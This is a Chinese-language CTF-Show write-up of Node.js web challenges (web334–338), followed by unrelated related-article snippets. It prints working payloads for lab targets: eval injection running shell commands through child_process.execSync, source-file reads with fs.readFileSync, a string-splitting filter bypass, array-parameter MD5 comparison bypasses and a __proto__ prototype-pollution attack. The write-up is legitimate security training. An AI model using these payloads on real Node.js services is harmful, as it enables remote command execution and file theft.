CTF-Show nodejs

news/2024/10/21 10:20:21/

web334

下载附件,有两个文件

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了

web335

查看源代码需要进行GET传参,传入js代码,执行命令

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

/?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()
 

web336

发现与上一题类似,但是这里用不了execSync

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。

payload:


/?eval=__filename
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')         //过滤exec|load
/?eval=require('child_process')['exe'%2B'cSync']('ls')           //+号绕过

web337

这里需要a和b长度相同,内容不同但md5值相同

利用数组绕过,js中两个数组是不能直接用===判断相等的

?a[]=1&b[]=2
注意一下node.js中的拼接问题:

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

 像['a']+flag==='a'+flag这样的,比如flag是flag{345},那么最后得到的都是aflag[345},因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag),同时也满足a!==b

?a[a]=1&b[b]=1也可以绕过

web338

下载源码

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;

在源码找到输出flag的条件

secert.ctfshow==='36dboy'

body的内容可以解析json,同时存在 utils.copy(user,req.body);,我们根据这个找到common.js

module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

在这里可以借user给 Object 添加"__proto__"属性为{"ctfshow":"36dboy"},修改object的原型对象,构造原型链污染。 使得object的实例secert在用到ctfshow的属性时,查找 object.__proto__ 找到36dboy 使 if(secert.ctfshow==='36dboy')返回ture


http://www.ppmy.cn/news/1447674.html

相关文章

设计模式之建造者模式BuilderPattern(七)

一、建造者模式 建造者模式(Builder Pattern)使用多个简单的对象一步一步构建成一个复杂的对象。这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。 二、代码实例 1、OrderItem类 Data:这是Lombok中提供的Ge…

免费、中文版的 Postman 替代工具,提高工作效率

为啥不用 Postman Postman 是挺好用的,但是人家就是死活不支持中文啊。。。这也导致了上手门槛的增高,劝退了很多人~ 接下来推荐几款可以替代 Postman 的国产 API 工具。 怎么替代? 先来说说国内有哪些API工具: ApifoxEolink…

CSS:css简介

CSS 层叠样式表 css简介 给html设置样式,美化css,实现结构和样式的分离 css的编写位置 1,行内样式(内联样式) 在标签内添加属性 不能复用,没有体现结构和样式的分离 style"" //在style属性内添加样式,样式以名值对形式存在2,内部样式 在单独的style标签(写在…

微信小程序个人开放服务类目表

微信小程序个人开放服务类目表 服务类目类目分类一类目分类二引导描述出行与交通代驾//生活服务家政、丽人、摄影/扩印、婚庆服务、环保回收/废物回收//餐饮点评与推荐、菜谱、餐厅排队//旅游出境WiFi、旅游攻略//商业服务会展服务、律师/ 【律师】类目需上传《律师执业资格证…

【经验总结】 PostgreSQL的COALESCE 函数用法

COALESCE 函数在 PostgreSQL 中是一个非常有用的函数,它不仅可以用来自动替换 NULL 值,还可以用于多种其他场景。COALESCE 函数接受一系列的参数,并返回第一个非 NULL 的参数值。如果所有参数都是 NULL,那么 COALESCE 函数将返回 …

9、开发基于FemWorkbench的CFD模块

CFD求解器设计针对FreeCAD 背景与动机:SolidWorks不仅提供了FEM功能,还具备CFD功能。为了使FreeCAD拥有类似的功能,考虑在现有的Fem Workbench上添加CFD功能,并重用大部分基础设施。 CFD模拟需求:CFD模拟需要复杂的设…

mybatix常见查询

使用MyBatis进行复杂SQL查询和操作是一种常见的需求,这通常涉及到动态SQL的使用。在MyBatis中,你可以使用XML映射文件或注解来构建这些复杂的SQL语句。以下是一些示例,覆盖你所提及的动态查询分页、分组、多表联查等情况。 动态查询分页 在M…

python 反引号怎么打

切换到英文输入法模式下。 找到电脑键盘 Esc 下面的键。 敲两下就出现反引号了。